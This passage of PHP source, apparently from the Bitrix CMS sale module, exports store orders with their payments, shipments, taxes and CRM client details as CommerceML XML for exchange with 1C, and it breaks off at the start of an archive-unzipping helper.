array("ACTIVE" => "Y", "ISSUING_CENTER" => "Y"),
false,
false,
array("ID", "SORT", "TITLE", "ADDRESS", "DESCRIPTION", "PHONE", "EMAIL", "XML_ID")
);
while ($arStoreTmp = $dbList->Fetch())
{
if(strlen($arStoreTmp["XML_ID"]) <= 0)
$arStoreTmp["XML_ID"] = $arStoreTmp["ID"];
$arStore[$arStoreTmp["ID"]] = $arStoreTmp;
}
}
return $arStore;
}
static function getOrderDeliveryItem($arOrder, $bVat, $vatRate, $vatSum)
{
if(floatval($arOrder["PRICE_DELIVERY"])<=0)
return;
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>>ORDER_DELIVERY</<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_ORDER_DELIVERY")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<?
if(self::getVersionSchema() > self::DEFAULT_VERSION)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_UNIT")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_CODE")?>>796</<?=CSaleExport::getTagName("SALE_EXPORT_CODE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_FULL_NAME_UNIT")?>><?=htmlspecialcharsbx(self::$measures[796]['MEASURE_TITLE'])?></<?=CSaleExport::getTagName("SALE_EXPORT_FULL_NAME_UNIT")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_UNIT")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_KOEF")?>>1</<?=CSaleExport::getTagName("SALE_EXPORT_KOEF")?>>
<?
}
else
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_BASE_UNIT")?> <?=CSaleExport::getTagName("SALE_EXPORT_CODE")?>="796" <?=CSaleExport::getTagName("SALE_EXPORT_FULL_NAME_UNIT")?>="<?=CSaleExport::getTagName("SALE_EXPORT_SHTUKA")?>" <?=CSaleExport::getTagName("SALE_EXPORT_INTERNATIONAL_ABR")?>="<?=CSaleExport::getTagName("SALE_EXPORT_RCE")?>"><?=CSaleExport::getTagName("SALE_EXPORT_SHT")?></<?=CSaleExport::getTagName("SALE_EXPORT_BASE_UNIT")?>>
<?
}
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PRICE_PER_ITEM")?>><?=$arOrder["PRICE_DELIVERY"]?></<?=CSaleExport::getTagName("SALE_EXPORT_PRICE_PER_ITEM")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_QUANTITY")?>>1</<?=CSaleExport::getTagName("SALE_EXPORT_QUANTITY")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>><?=$arOrder["PRICE_DELIVERY"]?></<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTIES_VALUES")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_TYPE_NOMENKLATURA")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=CSaleExport::getTagName("SALE_EXPORT_SERVICE")?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_TYPE_OF_NOMENKLATURA")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=CSaleExport::getTagName("SALE_EXPORT_SERVICE")?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTIES_VALUES")?>>
<?if($bVat)
{
$deliveryTax = roundEx((($arOrder["PRICE_DELIVERY"] / ($vatRate+1)) * $vatRate), 2);
if(self::$orderTax > $vatSum && self::$orderTax == roundEx($vatSum + $deliveryTax, 2))
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_TAX_RATES")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TAX_RATE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_VAT")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_RATE")?>><?=$vatRate * 100?></<?=CSaleExport::getTagName("SALE_EXPORT_RATE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_TAX_RATE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_TAX_RATES")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TAXES")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TAX")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_VAT")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_IN_PRICE")?>>true</<?=CSaleExport::getTagName("SALE_EXPORT_IN_PRICE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>><?=$deliveryTax?></<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_TAX")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_TAXES")?>>
<?
}
}?>
</<?=CSaleExport::getTagName("SALE_EXPORT_ITEM")?>>
<?
}
static function getCatalogMeasure()
{
$arMeasures = array();
if(CModule::IncludeModule("catalog"))
{
$dbList = CCatalogMeasure::getList(array(), array(), false, false, array("CODE", "MEASURE_TITLE","SYMBOL_LETTER_INTL", "SYMBOL_RUS"));
while($arList = $dbList->Fetch())
{
$arMeasures[$arList["CODE"]] = $arList;
}
}
if(empty($arMeasures))
$arMeasures[796] = array('NAME'=>CSaleExport::getTagName("SALE_EXPORT_SHTUKA"));
return $arMeasures;
}
static function setCatalogMeasure($arMeasures)
{
self::$measures = $arMeasures;
}
static function setOrderSumTaxMoney($orderTax)
{
self::$orderTax = $orderTax;
}
static function getSaleExport()
{
$export = new CSaleExport();
$arAgent = array();
$dbExport = $export->GetList();
while($arExport = $dbExport->Fetch())
{
$arAgent[$arExport["PERSON_TYPE_ID"]] = unserialize($arExport["VARS"]);
}
return $arAgent;
}
static function prepareSaleProperty($arOrder, $bExportFromCrm, $bCrmModuleIncluded, $paySystems, $delivery, &$locationStreetPropertyValue)
{
$arProp = Array();
$arProp["ORDER"] = $arOrder;
if (IntVal($arOrder["USER_ID"]) > 0)
{
$dbUser = CUser::GetByID($arOrder["USER_ID"]);
if ($arUser = $dbUser->Fetch())
$arProp["USER"] = $arUser;
}
if ($bExportFromCrm)
{
$arProp["CRM"] = array();
$companyID = isset($arOrder["UF_COMPANY_ID"]) ? intval($arOrder["UF_COMPANY_ID"]) : 0;
$contactID = isset($arOrder["UF_CONTACT_ID"]) ? intval($arOrder["UF_CONTACT_ID"]) : 0;
if ($companyID > 0)
{
$arProp["CRM"]["CLIENT_ID"] = "CRMCO".$companyID;
}
else
{
$arProp["CRM"]["CLIENT_ID"] = "CRMC".$contactID;
}
$clientInfo = array(
"LOGIN" => "",
"NAME" => "",
"LAST_NAME" => "",
"SECOND_NAME" => ""
);
if ($bCrmModuleIncluded)
{
if ($companyID > 0)
{
$arCompanyFilter = array('=ID' => $companyID);
$dbCompany = CCrmCompany::GetListEx(
array(), $arCompanyFilter, false, array("nTopCount" => 1),
array("TITLE")
);
$arCompany = $dbCompany->Fetch();
unset($dbCompany, $arCompanyFilter);
if (is_array($arCompany))
{
if (isset($arCompany["TITLE"]))
$clientInfo["NAME"] = $arCompany["TITLE"];
}
unset($arCompany);
}
else if ($contactID > 0)
{
$arContactFilter = array('=ID' => $contactID);
$dbContact = CCrmContact::GetListEx(
array(), $arContactFilter, false, array("nTopCount" => 1),
array("NAME", "LAST_NAME", "SECOND_NAME")
);
$arContact = $dbContact->Fetch();
unset($dbContact, $arContactFilter);
if (is_array($arContact))
{
if (isset($arContact["NAME"]))
$clientInfo["NAME"] = $arContact["NAME"];
if (isset($arContact["LAST_NAME"]))
$clientInfo["LAST_NAME"] = $arContact["LAST_NAME"];
if (isset($arContact["SECOND_NAME"]))
$clientInfo["SECOND_NAME"] = $arContact["SECOND_NAME"];
}
unset($arContact);
}
}
$arProp["CRM"]["CLIENT"] = $clientInfo;
unset($clientInfo);
}
if(IntVal($arOrder["PAY_SYSTEM_ID"]) > 0)
$arProp["ORDER"]["PAY_SYSTEM_NAME"] = $paySystems[$arOrder["PAY_SYSTEM_ID"]];
if(strlen($arOrder["DELIVERY_ID"]) > 0)
$arProp["ORDER"]["DELIVERY_NAME"] = $delivery[$arOrder["DELIVERY_ID"]];
$dbOrderPropVals = CSaleOrderPropsValue::GetList(
array(),
array("ORDER_ID" => $arOrder["ID"]),
false,
false,
array("ID", "CODE", "VALUE", "ORDER_PROPS_ID", "PROP_TYPE")
);
$locationStreetPropertyValue = '';
while ($arOrderPropVals = $dbOrderPropVals->Fetch())
{
if ($arOrderPropVals["PROP_TYPE"] == "CHECKBOX")
{
if ($arOrderPropVals["VALUE"] == "Y")
$arProp["PROPERTY"][$arOrderPropVals["ORDER_PROPS_ID"]] = "true";
else
$arProp["PROPERTY"][$arOrderPropVals["ORDER_PROPS_ID"]] = "false";
}
elseif ($arOrderPropVals["PROP_TYPE"] == "TEXT" || $arOrderPropVals["PROP_TYPE"] == "TEXTAREA")
{
$arProp["PROPERTY"][$arOrderPropVals["ORDER_PROPS_ID"]] = $arOrderPropVals["VALUE"];
}
elseif ($arOrderPropVals["PROP_TYPE"] == "SELECT" || $arOrderPropVals["PROP_TYPE"] == "RADIO")
{
$arVal = CSaleOrderPropsVariant::GetByValue($arOrderPropVals["ORDER_PROPS_ID"], $arOrderPropVals["VALUE"]);
$arProp["PROPERTY"][$arOrderPropVals["ORDER_PROPS_ID"]] = $arVal["NAME"];
}
elseif ($arOrderPropVals["PROP_TYPE"] == "MULTISELECT")
{
$curVal = explode(",", $arOrderPropVals["VALUE"]);
foreach($curVal as $vm)
{
$arVal = CSaleOrderPropsVariant::GetByValue($arOrderPropVals["ORDER_PROPS_ID"], $vm);
$arProp["PROPERTY"][$arOrderPropVals["ORDER_PROPS_ID"]] .= ", ".$arVal["NAME"];
}
$arProp["PROPERTY"][$arOrderPropVals["ORDER_PROPS_ID"]] = substr($arProp["PROPERTY"][$arOrderPropVals["ORDER_PROPS_ID"]], 2);
}
elseif ($arOrderPropVals["PROP_TYPE"] == "LOCATION")
{
$arVal = CSaleLocation::GetByID($arOrderPropVals["VALUE"], LANGUAGE_ID);
if(CSaleLocation::isLocationProEnabled())
{
if(intval($arVal['ID']))
{
try
{
$res = \Bitrix\Sale\Location\LocationTable::getPathToNode($arVal['ID'], array('select' => array('LNAME' => 'NAME.NAME', 'TYPE_ID'), 'filter' => array('=NAME.LANGUAGE_ID' => LANGUAGE_ID)));
$types = \Bitrix\Sale\Location\Admin\TypeHelper::getTypeCodeIdMapCached();
$path = array();
while($item = $res->fetch())
{
// copy street to STREET property
if($types['ID2CODE'][$item['TYPE_ID']] == 'STREET')
$locationStreetPropertyValue = $item['LNAME'];
$path[] = $item['LNAME'];
}
$locationString = implode(' - ', $path);
}
catch(\Bitrix\Main\SystemException $e)
{
$locationString = '';
}
}
else
$locationString = '';
}
else
$locationString = ($arVal["COUNTRY_NAME"].((strlen($arVal["COUNTRY_NAME"])<=0 || strlen($arVal["REGION_NAME"])<=0) ? "" : " - ").$arVal["REGION_NAME"].((strlen($arVal["COUNTRY_NAME"])<=0 || strlen($arVal["CITY_NAME"])<=0) ? "" : " - ").$arVal["CITY_NAME"]);
$arProp["PROPERTY"][$arOrderPropVals["ORDER_PROPS_ID"]] = $locationString;
$arProp["PROPERTY"][$arOrderPropVals["ORDER_PROPS_ID"]."_CITY"] = $arVal["CITY_NAME"];
$arProp["PROPERTY"][$arOrderPropVals["ORDER_PROPS_ID"]."_COUNTRY"] = $arVal["COUNTRY_NAME"];
$arProp["PROPERTY"][$arOrderPropVals["ORDER_PROPS_ID"]."_REGION"] = $arVal["REGION_NAME"];
}
else
{
$arProp["PROPERTY"][$arOrderPropVals["ORDER_PROPS_ID"]] = $arOrderPropVals["VALUE"];
}
}
return $arProp;
}
static function prepareSalePropertyRekv(\Bitrix\Sale\IBusinessValueProvider $entity, $agentParams, $arProp, $locationStreetPropertyValue = '')
{
if(!($entity instanceof \Bitrix\Sale\Order))
{
/** @var \Bitrix\Sale\PaymentCollection|\Bitrix\Sale\ShipmentCollection $collection */
$collection = $entity->getCollection();
$order = $collection->getOrder();
}
else
$order = $entity;
$providersInstance = self::getProvidersInstanceByEntity($entity);
$personTypeId = $order->getPersonTypeId();
$personTypes = BusinessValue::getPersonTypes();
if (! $personType = $personTypes[$personTypeId])
{
self::logError($order->getId(), 'Undefined DOMAIN for person type id "'.$personTypeId.'"');
return false;
}
$systemCodes1C = array_flip(self::$systemCodes[$personType['DOMAIN']]);
foreach($agentParams as $k => $v)
{
if(strpos($k, "REKV_") !== false)
{//params
if(!is_array($v))
{
$agent["REKV"][$k] = $v;
}
else
{
if(strlen($v["TYPE"])<=0)
$agent["REKV"][$k] = $v["VALUE"];//code
else
{
switch($v["TYPE"])
{
case 'CRM':
$agent["REKV"][$k] = $arProp[$v["TYPE"]][$v["VALUE"]];//value
break;
default:
if (! ($codeKey = $systemCodes1C[$k])
&& substr($k, 0, 5) === 'REKV_'
&& ($codeIndex = substr($k, 5)) !== ''
&& ($codeKey = BusinessValueConsumer1C::getRekvCodeKey($order->getPersonTypeId(), $codeIndex))
&& ($providerInstance = $providersInstance[$v["TYPE"]])
&& is_set($providerInstance))
{
$bsValue = Bitrix\Sale\BusinessValue::getValueFromProvider($providerInstance, $codeKey, BusinessValueConsumer1C::CONSUMER_KEY);
$agent["REKV"][$k] = (is_array($bsValue) ? implode(',', $bsValue):$bsValue);
}
}
}
}
}
else
{
if(!is_array($v))
{
$agent[$k] = $v;
}
else
{
if(strlen($v["TYPE"])<=0)
$agent[$k] = $v["VALUE"];
else
{
switch($v["TYPE"])
{
case 'CRM':
$agent[$k] = $arProp[$v["TYPE"]][$v["VALUE"]];
break;
default:
if (($codeKey = $systemCodes1C[$k])
&& ($providerInstance = $providersInstance[$v["TYPE"]])
&& is_set($providerInstance))
{
$bsValue = Bitrix\Sale\BusinessValue::getValueFromProvider($providerInstance, $codeKey, BusinessValueConsumer1C::CONSUMER_KEY);
$agent[$k] = (is_array($bsValue) ? implode(',', $bsValue):$bsValue);
}
}
}
if($k == 'STREET' && strlen($locationStreetPropertyValue))
$agent[$k] = $locationStreetPropertyValue.(strlen($agent[$k]) ? ', ' : '').$agent[$k];
}
}
}
return $agent;
}
static function getSite()
{
$arCharSets = array();
$dbSitesList = CSite::GetList(($b=""), ($o=""));
while ($arSite = $dbSitesList->Fetch())
$arCharSets[$arSite["ID"]] = $arSite["CHARSET"];
return $arCharSets;
}
static function setSiteNameByOrder($arOrder)
{
$dbSite = CSite::GetByID($arOrder["LID"]);
$arSite = $dbSite->Fetch();
self::$siteNameByOrder = $arSite["NAME"];
}
static function getPayment($arOrder)
{
$result = array();
$PaymentParam['select'] =
array(
"ID",
"ID_1C",
"PAID",
"DATE_BILL",
"ORDER_ID",
"CURRENCY",
"SUM",
"COMMENTS",
"DATE_PAID",
"PAY_SYSTEM_ID",
"PAY_SYSTEM_NAME",
"IS_RETURN",
"PAY_RETURN_COMMENT",
"PAY_VOUCHER_NUM",
"PAY_VOUCHER_DATE",
);
$PaymentParam['filter']['ORDER_ID'] = $arOrder['ID'];
$PaymentParam['filter']['!=EXTERNAL_PAYMENT'] = 'F';
$innerPS = 0;
$limit = 0;
$inc = 0;
if(self::getVersionSchema() < self::PARTIAL_VERSION)
{
$innerPS = \Bitrix\Sale\PaySystem\Manager::getInnerPaySystemId();
$limit = 1;
}
$resPayment = \Bitrix\Sale\Internals\PaymentTable::getList($PaymentParam);
while($arPayment = $resPayment->fetch())
{
foreach($arPayment as $field=>$value)
{
if(self::isFormattedDateFields('Payment', $field))
{
$arPayment[$field] = self::getFormatDate($value);
}
}
$result['paySystems'][$arPayment['PAY_SYSTEM_ID']] = $arPayment['PAY_SYSTEM_NAME'];
if($innerPS == 0 || $innerPS!=$arPayment['PAY_SYSTEM_ID'])
{
if($limit == 0 || $inc < $limit)
$result['payment'][] = $arPayment;
$inc++;
}
}
return $result;
}
static function getShipment($arOrder)
{
$result = array();
$ShipmentParams['select'] =
array(
"ID",
"ID_1C",
"DATE_INSERT",
"CURRENCY",
"PRICE_DELIVERY",
"COMMENTS",
"DATE_ALLOW_DELIVERY",
"STATUS_ID",
"DEDUCTED",
"DATE_DEDUCTED",
"REASON_UNDO_DEDUCTED",
"RESERVED",
"DELIVERY_ID",
"DELIVERY_NAME",
"CANCELED",
"DATE_CANCELED",
"REASON_CANCELED",
"REASON_MARKED",
"ORDER_ID",
"TRACKING_NUMBER"
);
$ShipmentParams['filter']['ORDER_ID'] = $arOrder['ID'];
$ShipmentParams['filter']['=SYSTEM'] = 'N';
$limit = 0;
$inc = 0;
if(self::getVersionSchema() < self::PARTIAL_VERSION )
$limit = 1;
$resShipment = \Bitrix\Sale\Internals\ShipmentTable::getList($ShipmentParams);
while($arShipment = $resShipment->fetch())
{
foreach($arShipment as $field=>$value)
{
if(self::isFormattedDateFields('Shipment', $field))
{
$arShipment[$field] = self::getFormatDate($value);
}
}
$result['deliveryServices'][$arShipment['DELIVERY_ID']] = $arShipment['DELIVERY_NAME'];
if($limit == 0 || $inc < $limit)
$result['shipment'][] = $arShipment;
$inc++;
}
return $result;
}
protected static function getLastOrderExported($timeUpdate)
{
$result = array();
if($timeUpdate <> '')
{
$r = \Bitrix\Sale\Exchange\Internals\ExchangeLogTable::getList(array(
'select' => array(
'ENTITY_ID',
'ENTITY_DATE_UPDATE'
),
'filter' => array(
'ENTITY_TYPE_ID'=>\Bitrix\Sale\Exchange\EntityType::ORDER,
'=ENTITY_DATE_UPDATE'=>$timeUpdate,
'=DIRECTION'=>\Bitrix\Sale\Exchange\ManagerExport::getDirectionType()
),
'order'=>array('ID'=>'ASC'),
));
while ($order = $r->fetch())
$result[$order['ENTITY_DATE_UPDATE']->toString()][]=$order['ENTITY_ID'];
}
return $result;
}
protected static function exportedLastExport($arOrder, array $lastDateUpdateOrders)
{
$dateUpdate = $arOrder["DATE_UPDATE"]->toString();
$result = (isset($lastDateUpdateOrders[$dateUpdate]) &&
in_array($arOrder['ID'], $lastDateUpdateOrders[$dateUpdate]));
return $result;
}
/**
* @return array
*/
protected static function prepareFilter($arFilter=array())
{
if(IntVal($_SESSION["BX_CML2_EXPORT"][self::getOrderPrefix()]) > 0)
{
$arFilter[">=DATE_UPDATE"] = ConvertTimeStamp($_SESSION["BX_CML2_EXPORT"][self::getOrderPrefix()], "FULL");
}
return $arFilter;
}
/**
* @param array $arOrder
*/
protected static function saveExportParams(array $arOrder)
{
$_SESSION["BX_CML2_EXPORT"][self::getOrderPrefix()] = MakeTimeStamp($arOrder["DATE_UPDATE"], CSite::GetDateFormat("FULL"));
}
static protected function getLastDateUpdateByParams(array $params)
{
$params = static::prepareFilter($params);
return isset($params[">=DATE_UPDATE"])? $params[">=DATE_UPDATE"]:'';
}
/**
* @param array $params
* @return \Bitrix\Sale\Result
*/
public function export(array $params)
{
$result = new \Bitrix\Sale\Result();
$filter = $params['filter'];
$timeLimit = isset($params['limit'])? intval($params['limit']):0;
\Bitrix\Sale\Exchange\ExportOneCSubordinateSale::configuration();
$export = \Bitrix\Sale\Exchange\ExportOneCSubordinateSale::getInstance();
$xml = $export->outputXmlCMLHeader();
$end_time = self::getEndTime($timeLimit);
$timeUpdate = static::getLastDateUpdateByParams($filter);
$lastDateUpdateOrders = static::getLastOrderExported($timeUpdate);
if($timeUpdate<>'')
$filter['>=DATE_UPDATE'] = $timeUpdate;
$filter['RUNNING'] = 'N';
$list = \Bitrix\Sale\Internals\OrderTable::getList([
'select' => ["*"],
'filter' => $filter,
'order' => ["DATE_UPDATE" => "ASC", "ID"=>"ASC"],
]);
while($orderFields = $list->Fetch())
{
if(static::exportedLastExport($orderFields, $lastDateUpdateOrders))
{
continue;
}
$xml .= $export->proccess(['ORDER_ID'=>$orderFields['ID']])
->getData()[0];
static::saveExportParams($orderFields);
if(self::checkTimeIsOver($timeLimit, $end_time))
{
break;
}
}
$xml .= $export->outputXmlCMLFooter();
return $result->setData([$xml]);
}
static function ExportOrders2Xml($arFilter = Array(), $nTopCount = 0, $currency = "", $crmMode = false, $time_limit = 0, $version = false, $arOptions = Array())
{
$lastOrderPrefix = '';
$arCharSets = array();
$lastDateUpdateOrders = array();
self::setVersionSchema($version);
self::setCrmMode($crmMode);
self::setCurrencySchema($currency);
$count = false;
if(IntVal($nTopCount) > 0)
$count = Array("nTopCount" => $nTopCount);
$end_time = self::getEndTime($time_limit);
if(IntVal($time_limit) > 0)
{
if(self::$crmMode)
{
$lastOrderPrefix = md5(serialize($arFilter));
if(!empty($_SESSION["BX_CML2_EXPORT"][$lastOrderPrefix]) && IntVal($nTopCount) > 0)
$count["nTopCount"] = $count["nTopCount"]+count($_SESSION["BX_CML2_EXPORT"][$lastOrderPrefix]);
}
}
if(!self::$crmMode)
{
$arFilter = static::prepareFilter($arFilter);
$timeUpdate = isset($arFilter[">=DATE_UPDATE"])? $arFilter[">=DATE_UPDATE"]:'';
$lastDateUpdateOrders = static::getLastOrderExported($timeUpdate);
}
self::$arResultStat = array(
"ORDERS" => 0,
"CONTACTS" => 0,
"COMPANIES" => 0,
);
$bExportFromCrm = self::isExportFromCRM($arOptions);
$arStore = self::getCatalogStore();
$arMeasures = self::getCatalogMeasure();
self::setCatalogMeasure($arMeasures);
$arAgent = self::getSaleExport();
if (self::$crmMode)
{
self::setXmlEncoding("UTF-8");
$arCharSets = self::getSite();
}
echo self::getXmlRootName();?>
<<?=CSaleExport::getTagName("SALE_EXPORT_COM_INFORMATION")?> <?=self::getCmrXmlRootNameParams()?>><?
$arOrder = array("DATE_UPDATE" => "ASC", "ID"=>"ASC");
$arSelect = array(
"ID", "LID", "PERSON_TYPE_ID", "PAYED", "DATE_PAYED", "EMP_PAYED_ID", "CANCELED", "DATE_CANCELED",
"EMP_CANCELED_ID", "REASON_CANCELED", "STATUS_ID", "DATE_STATUS", "PAY_VOUCHER_NUM", "PAY_VOUCHER_DATE", "EMP_STATUS_ID",
"PRICE_DELIVERY", "ALLOW_DELIVERY", "DATE_ALLOW_DELIVERY", "EMP_ALLOW_DELIVERY_ID", "PRICE", "CURRENCY", "DISCOUNT_VALUE",
"SUM_PAID", "USER_ID", "PAY_SYSTEM_ID", "DELIVERY_ID", "DATE_INSERT", "DATE_INSERT_FORMAT", "DATE_UPDATE", "USER_DESCRIPTION",
"ADDITIONAL_INFO",
"COMMENTS", "TAX_VALUE", "STAT_GID", "RECURRING_ID", "ACCOUNT_NUMBER", "SUM_PAID", "DELIVERY_DOC_DATE", "DELIVERY_DOC_NUM", "TRACKING_NUMBER", "STORE_ID",
"ID_1C", "VERSION",
"USER.XML_ID", "USER.TIMESTAMP_X"
);
$bCrmModuleIncluded = false;
if ($bExportFromCrm)
{
$arSelect[] = "UF_COMPANY_ID";
$arSelect[] = "UF_CONTACT_ID";
if (IsModuleInstalled("crm") && CModule::IncludeModule("crm"))
$bCrmModuleIncluded = true;
}
$arFilter['RUNNING'] = 'N';
$filter = array(
'select' => $arSelect,
'filter' => $arFilter,
'order' => $arOrder,
'limit' => $count["nTopCount"]
);
if (!empty($arOptions['RUNTIME']) && is_array($arOptions['RUNTIME']))
{
$filter['runtime'] = $arOptions['RUNTIME'];
}
$dbOrderList = \Bitrix\Sale\Internals\OrderTable::getList($filter);
while($arOrder = $dbOrderList->Fetch())
{
if(!self::$crmMode && static::exportedLastExport($arOrder, $lastDateUpdateOrders))
{
continue;
}
static::$documentsToLog = array();
$contentToLog = '';
$order = \Bitrix\Sale\Order::load($arOrder['ID']);
$arOrder['DATE_STATUS'] = $arOrder['DATE_STATUS']->toString();
$arOrder['DATE_INSERT'] = $arOrder['DATE_INSERT']->toString();
$arOrder['DATE_UPDATE'] = $arOrder['DATE_UPDATE']->toString();
foreach($arOrder as $field=>$value)
{
if(self::isFormattedDateFields('Order', $field))
{
$arOrder[$field] = self::getFormatDate($value);
}
}
if (self::$crmMode)
{
if(self::getVersionSchema() > self::DEFAULT_VERSION && is_array($_SESSION["BX_CML2_EXPORT"][$lastOrderPrefix]) && in_array($arOrder["ID"], $_SESSION["BX_CML2_EXPORT"][$lastOrderPrefix]) && empty($arFilter["ID"]))
continue;
ob_start();
}
self::$arResultStat["ORDERS"]++;
$agentParams = (array_key_exists($arOrder["PERSON_TYPE_ID"], $arAgent) ? $arAgent[$arOrder["PERSON_TYPE_ID"]] : array() );
$arResultPayment = self::getPayment($arOrder);
$paySystems = $arResultPayment['paySystems'];
$arPayment = $arResultPayment['payment'];
$arResultShipment = self::getShipment($arOrder);
$arShipment = $arResultShipment['shipment'];
$delivery = $arResultShipment['deliveryServices'];
self::setDeliveryAddress('');
self::setSiteNameByOrder($arOrder);
$arProp = self::prepareSaleProperty($arOrder, $bExportFromCrm, $bCrmModuleIncluded, $paySystems, $delivery, $locationStreetPropertyValue);
$agent = self::prepareSalePropertyRekv($order, $agentParams, $arProp, $locationStreetPropertyValue);
$arOrderTax = CSaleExport::getOrderTax($arOrder["ID"]);
$xmlResult['OrderTax'] = self::getXMLOrderTax($arOrderTax);
self::setOrderSumTaxMoney(self::getOrderSumTaxMoney($arOrderTax));
$xmlResult['Contragents'] = self::getXmlContragents($arOrder, $arProp, $agent, $bExportFromCrm ? array("EXPORT_FROM_CRM" => "Y") : array());
$xmlResult['OrderDiscount'] = self::getXmlOrderDiscount($arOrder);
$xmlResult['SaleStoreList'] = $arStore;
$xmlResult['ShipmentsStoreList'] = self::getShipmentsStoreList($order);
// self::getXmlSaleStoreBasket($arOrder,$arStore);
$basketItems = self::getXmlBasketItems('Order', $arOrder, array('ORDER_ID'=>$arOrder['ID']), array(), $arShipment);
$numberItems = array();
foreach($basketItems['result'] as $basketItem)
{
$number = self::getNumberBasketPosition($basketItem["ID"]);
if(in_array($number, $numberItems))
{
$r = new \Bitrix\Sale\Result();
$r->addWarning(new \Bitrix\Main\Error(GetMessage("SALE_EXPORT_REASON_MARKED_BASKET_PROPERTY").'1C_Exchange:Order.export.basket.properties', 'SALE_EXPORT_REASON_MARKED_BASKET_PROPERTY'));
\Bitrix\Sale\EntityMarker::addMarker($order, $order, $r);
$order->setField('MARKED','Y');
$order->setField('DATE_UPDATE',null);
$order->save();
break;
}
else
{
$numberItems[] = $number;
}
}
$xmlResult['BasketItems'] = $basketItems['outputXML'];
$xmlResult['SaleProperties'] = self::getXmlSaleProperties($arOrder, $arShipment, $arPayment, $agent, $agentParams, $bExportFromCrm);
$xmlResult['RekvProperties'] = self::getXmlRekvProperties($agent, $agentParams);
if(self::getVersionSchema() >= self::CONTAINER_VERSION)
{
ob_start();
echo '<'.CSaleExport::getTagName("SALE_EXPORT_CONTAINER").'>';
}
self::OutputXmlDocument('Order', $xmlResult, $arOrder);
if(self::getVersionSchema() >= self::PARTIAL_VERSION)
{
self::OutputXmlDocumentsByType('Payment',$xmlResult, $arOrder, $arPayment, $order, $agentParams, $arProp, $locationStreetPropertyValue);
self::OutputXmlDocumentsByType('Shipment',$xmlResult, $arOrder, $arShipment, $order, $agentParams, $arProp, $locationStreetPropertyValue);
self::OutputXmlDocumentRemove('Shipment',$arOrder);
}
if(self::getVersionSchema() >= self::CONTAINER_VERSION)
{
echo '</'.CSaleExport::getTagName("SALE_EXPORT_CONTAINER").'>';
$contentToLog = ob_get_contents();
ob_end_clean();
echo $contentToLog;
}
if (self::$crmMode)
{
$c = ob_get_clean();
$c = CharsetConverter::ConvertCharset($c, $arCharSets[$arOrder["LID"]], "utf-8");
echo $c;
$_SESSION["BX_CML2_EXPORT"][$lastOrderPrefix][] = $arOrder["ID"];
}
else
{
static::saveExportParams($arOrder);
}
ksort(static::$documentsToLog);
foreach (static::$documentsToLog as $entityTypeId=>$documentsToLog)
{
foreach ($documentsToLog as $documentToLog)
{
$fieldToLog = $documentToLog;
$fieldToLog['ENTITY_TYPE_ID'] = $entityTypeId;
if(self::getVersionSchema() >= self::CONTAINER_VERSION)
{
if($entityTypeId == \Bitrix\Sale\Exchange\EntityType::ORDER )
$fieldToLog['MESSAGE'] = $contentToLog;
}
static::log($fieldToLog);
}
}
if(self::checkTimeIsOver($time_limit, $end_time))
{
break;
}
}
?>
</<?=CSaleExport::getTagName("SALE_EXPORT_COM_INFORMATION")?>><?
return self::$arResultStat;
}
function UnZip($file_name, $last_zip_entry = "", $interval = 0)
{
global $APPLICATION;
$start_time = time();
$io = CBXVirtualIo::GetInstance();
//Function and securioty checks
if(!function_exists("zip_open"))
return false;
$dir_name = substr($file_name, 0, strrpos($file_name, "/")+1);
if(strlen($dir_name) <= strlen($_SERVER["DOCUMENT_ROOT"]))
return false;
